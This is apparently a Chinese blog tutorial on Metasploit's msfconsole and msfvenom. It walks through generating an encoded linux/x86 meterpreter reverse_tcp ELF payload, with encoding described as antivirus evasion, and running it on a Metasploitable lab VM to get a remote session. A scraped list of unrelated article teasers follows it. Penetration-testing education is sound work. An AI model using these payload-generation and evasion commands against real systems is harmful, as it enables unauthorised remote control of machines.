metasploit framework详解

metasploit介绍

几乎每一个玩渗透的人都会接触到metasploit framework,简称msf。这是一个渗透测试框架,用ruby语言写的,该框架集成了很多可用的exploit,比如著名的ms08_067等。你可以在这个框架下进行一系列的渗透测试,利用现有的payload,如meterpreter等进一步拿取对方的shell。下载的地址在github上面,git clone该项目到本地进行安装即可。

常用工具介绍

msfconsole

这是启动msf的终端命令,注意因为现在msf默认的数据库是postgresql,所以在启动msf之前需要先启动postgresql数据库。

在终端中输入msfconsole即可启动msf,如果不清楚msfconsole的功能可以在终端中输入

msfconsole -h

即可学习msfconsole相关的options。

例如:

在msfconsole中需要注意的是,msfconsole不仅是直接启动msf的工具,还能用msf执行第三方相应的payload文件。

msfconsole -r payload.file

这个功能与veil配合起来很好使。veil是编码payload的神器,专门用来过杀软的,在生成相应的stagers型的payload时,也会生成stages型的payload供渗透端调用,该payload与msf兼容。

msfvenom

在之前的msf版本中会有msfencode,msfpayload等工具,学习成本比较高,现在这些工具已经被废弃了。取而代之的是msfvenom工具,可以看做它是msfencode与msfpayload的结合版,它允许你自行生成想要的payload。

想要学习msfvenom,可以在终端中打:

msfvenom -h

可以看到msfvenom的介绍。

如果你需要看到msfvenom现有的payload,可以用

msfvenom -l payloads

查看所有可利用的payloads。

下面我们用linux/x86/meterpreter/reverse_tcp这个payload来演示生成可x86架构下可执行的elf文件。

只需在命令行中输入:

[email protected] ~ $ msfvenom -p linux/x86/meterpreter/reverse_tcp --payload-options

即可看到该payload的参数选项:

值得注意的是arch选项,用来表示该payload适用的内核架构,如果是x86架构的内核,可以正常运行,但是如果是x64架构的内核就不能运行。x86_64架构的内核是既能运行32位程序,又能运行64位程序。

关于如何查看内核架构,可以:

[email protected] ~ $ uname -a
Linux freestyle4568 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
[email protected]:~$ uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

可以看到msfadmin的内核架构是x86架构,i686架构也是x86的一种,该平台上只能运行32位程序。

下面我们生成一个metasploitable上的payload可执行程序:

[email protected] ~ $ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.101 -f elf -e x86/shikata_ga_nai -i 3 -o shell
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 98 (iteration=0)
x86/shikata_ga_nai succeeded with size 125 (iteration=1)
x86/shikata_ga_nai succeeded with size 152 (iteration=2)
x86/shikata_ga_nai chosen with final size 152
Payload size: 152 bytes
Final size of elf file: 236 bytes
Saved as: shell

可以看到未设置的options是用payload中默认的选项。下面shell文件即为elf可执行文件,适用与x86的linux内核上。同时我们x86/shikata_ga_nai编码对它进行3次编码,为了免杀(当然这个目前会被360检测出来,以后可以用更加高级的免杀工具,这里为了实验)。

我们将它拷贝进入metasploitable系统中,我们在freestyle4568系统中用相应的handler进行监听了连接。

freestyle4568@freestyle4568 ~ $ scp shell msfadmin@192.168.1.103:/home/msfadmin
msfadmin@192.168.1.103‘s password:
shell                                         100%  236     0.2KB/s   00:00    

在msfadmin中运行shell文件,然后在freestyle4568中用msf进行侦听。

OK啦!现在拿到了meterpreter,现在基本已经控制了192.168.1.103了。

关于meterpreter,有空再另开一篇,因为这个payloader太强大了。

时间: 2024-10-23 03:46:04

metasploit framework详解的相关文章

Linq实战 之 Linq to Sql及Entity Framework操作详解

Linq实战 之 Linq to Sql及Entity Framework操作详解 一:linq to db的框架 1. linq to sql 2. linq to ado.net entity framework linq to sql是一个团队 ef 是一个团队... linq to sql => ef 团队. linq to sql 适合一些小型的项目 => sqlserver ef 适合中形的项目,而且可以支持 sqllite,mysql,sqlserver 掌柜的项目开发中:使用的

转:【工欲善其事必先利其器】—Entity Framework实例详解

开始本篇文章之前,先说一下Entity Framework 6 Alpha1在NuGet中已可用,原文链接http://blogs.msdn.com/b/adonet/archive/2012/10/30/ef6-alpha-1-available-on-nuget.aspx 俗话说:“工欲善其事必先利其器”,在深入讲解Entity Framework之前,先准备一下开发工具以及前期的配置. 一.开发工具 开发工具基本略过,这里说一下,我使用的是Visual Studio 2012,Entity

C#综合揭秘——Entity Framework 并发处理详解

引言 在软件开发过程中,并发控制是确保及时纠正由并发操作导致的错误的一种机制.从 ADO.NET 到 LINQ to SQL 再到如今的 ADO.NET Entity Framework,.NET 都为并发控制提供好良好的支持方案. 并发处理方式一般分为乐观必并发与悲观必并发两种,本文将为大家介绍 Entity Framework . LINQ to SQL 中的并发处理方式.在本文最后,将提供一个了可参考的方案,结合事务 Transaction 处理复杂性对象的并发. 目录 一.并发处理的定义

C# Entity Framework中的IQueryable和IQueryProvider详解

前言 相信大家对 Entity Framework 一定不陌生,我相信其中Linq To Sql是其最大的亮点之一,但是我们一直使用到现在却不曾明白内部是如何实现的,今天我们就简单的介绍IQueryable和IQueryProvider. IQueryable接口 我们先聊聊这个接口,因为我们在使用EF中经常看到linq to sql语句的返回类型是 IQueryable ,我们可以看下这个接口的结构: 代码如下: public interface IQueryable : IEnumerabl

tars framework 源码解读(三) servant部分章节。客户端部分。完整的tars调用流程详解

一般tars客户端使用方式: 我们用客户端进行tars rpc调用时候,一般如下面这样写: 方式一. //直连方式 TC_Endpoint ep; AdminFPrx pAdminPrx; //服务管理代理 string sAdminPrx = "[email protected]"+_serverObjectPtr->getLocalEndpoint().toString(); pAdminPrx = Application::getCommunicator()->str

详解强大的SQL注入工具——SQLMAP

1. 前言  Windows下的注入工具好的又贵,免费的啊D.明小子等又不好用,我们根本没必要花 时间去找什么破解的havij.pangolin什么的,特别是破解的工具很可能被绑了木马.其实 Linux下的注入工具也是非常强大的,不过分的说,可以完全取代Windows下面的所有注入 工具.  就如backtrack系统里面就有非常丰富的注入工具,对MSSQL.MYSQL.oracle等各种 数据库的应有尽有了,而且这些工具都是免费的,并且是开放源代码的,我们还可以用来修 改为合适自己使用的注入工

Spring事务管理(详解+实例)

写这篇博客之前我首先读了<Spring in action>,之后在网上看了一些关于Spring事务管理的文章,感觉都没有讲全,这里就将书上的和网上关于事务的知识总结一下,参考的文章如下: Spring事务机制详解 Spring事务配置的五种方式 Spring中的事务管理实例详解 1 初步理解 理解事务之前,先讲一个你日常生活中最常干的事:取钱. 比如你去ATM机取1000块钱,大体有两个步骤:首先输入密码金额,银行卡扣掉1000元钱:然后ATM出1000元钱.这两个步骤必须是要么都执行要么都

Android触摸屏事件派发机制详解与源码分析二(ViewGroup篇)

1 背景 还记得前一篇<Android触摸屏事件派发机制详解与源码分析一(View篇)>中关于透过源码继续进阶实例验证模块中存在的点击Button却触发了LinearLayout的事件疑惑吗?当时说了,在那一篇咱们只讨论View的触摸事件派发机制,这个疑惑留在了这一篇解释,也就是ViewGroup的事件派发机制. PS:阅读本篇前建议先查看前一篇<Android触摸屏事件派发机制详解与源码分析一(View篇)>,这一篇承接上一篇. 关于View与ViewGroup的区别在前一篇的A

Java虚拟机(JVM)中的内存设置详解

在一些规模稍大的应用中,Java虚拟机(JVM)的内存设置尤为重要,想在项目中取得好的效率,GC(垃圾回收)的设置是第一步. PermGen space:全称是Permanent Generation space.就是说是永久保存的区域,用于存放Class和Meta信息,Class在被Load的时候被放入该区域Heap space:存放Instance. GC(Garbage Collection)应该不会对PermGen space进行清理,所以如果你的APP会LOAD很多CLASS的话,就很